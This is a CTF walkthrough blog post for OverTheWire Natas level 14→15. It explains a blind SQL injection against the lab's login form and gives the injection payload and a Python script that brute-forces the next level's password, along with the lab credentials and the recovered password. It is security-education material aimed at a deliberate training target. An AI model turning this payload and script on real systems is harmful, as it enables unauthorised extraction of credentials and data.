Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Natas Level 14 → 15 tutorial!!

Login

URL: http://natas15.natas.labs.overthewire.org
Credentials: natas15:SdqIqBsFcz3yotlNYErZSZwblkm0lrvx

# Using curl (optional):
curl -u natas15:SdqIqBsFcz3yotlNYErZSZwblkm0lrvx http://natas15.natas.labs.overthewire.org/

homepage


Task

Unlike level 14, this login form does not leak the password directly. The only feedback we get is:

  • “This user exists.”
  • “This user doesn’t exist.”

That means we’re dealing with a blind SQL injection.


A little bit of Theory

Relevant snippet:

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";

Observations:

  • The query only checks for username.
  • No password field is used here.
  • If we inject SQL, the page will only tell us whether the condition is true or false.

We can exploit this by asking yes/no questions such as:

SELECT * FROM users WHERE username="natas16" AND password LIKE BINARY "a%"

If the password really starts with a, the query matches → response: This user exists. Otherwise → This user doesn’t exist.

By brute forcing character by character, we can reconstruct the whole password.


Solution

Step 1: Build a payload

We inject into username with:

natas16" AND password LIKE BINARY "a%" #

user

Step 2: Automate with Python

import requests
import sys
from string import ascii_lowercase, ascii_uppercase, digits

url = "http://natas15.natas.labs.overthewire.org/"
charset = ascii_lowercase + ascii_uppercase + digits
sqli = 'natas16" AND password LIKE BINARY "'

s = requests.Session()
s.auth = ('natas15', 'SdqIqBsFcz3yotlNYErZSZwblkm0lrvx')

password = ""
while len(password) < 32:
    for char in charset:
        r = s.post(url, data={"username": sqli + password + char + "%"})
        if "This user exists" in r.text:
            sys.stdout.write(char)
            sys.stdout.flush()
            password += char
            break
  • The script loops over the charset.
  • For each guess, it asks: Does the password start with my guess so far?
  • If the response is This user exists, we keep the char.
  • Repeat until we recover all 32 chars.

output


Password

hPkjKYviLQctEW33QmuXL6eDVfMW4sGo

Troubleshooting

  • Script prints nothing? → Double-check your session credentials.
  • Always “user doesn’t exist”? → Make sure your injection ends with % and quotes are balanced.
  • Too slow? → Try a reduced charset first (e.g., only abcdef0123456789).

Great job 🎉 You just executed a blind SQL injection to leak the entire password for natas16.


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with